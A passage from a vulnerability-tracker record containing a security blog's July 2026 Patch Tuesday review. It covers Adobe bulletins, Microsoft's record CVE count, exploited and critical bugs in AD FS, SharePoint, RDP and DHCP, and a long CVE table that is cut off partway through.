accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:24.483236Z"}, {"uuid": "2d33874b-e66d-4e0f-a7af-ffc991e88d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54109", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  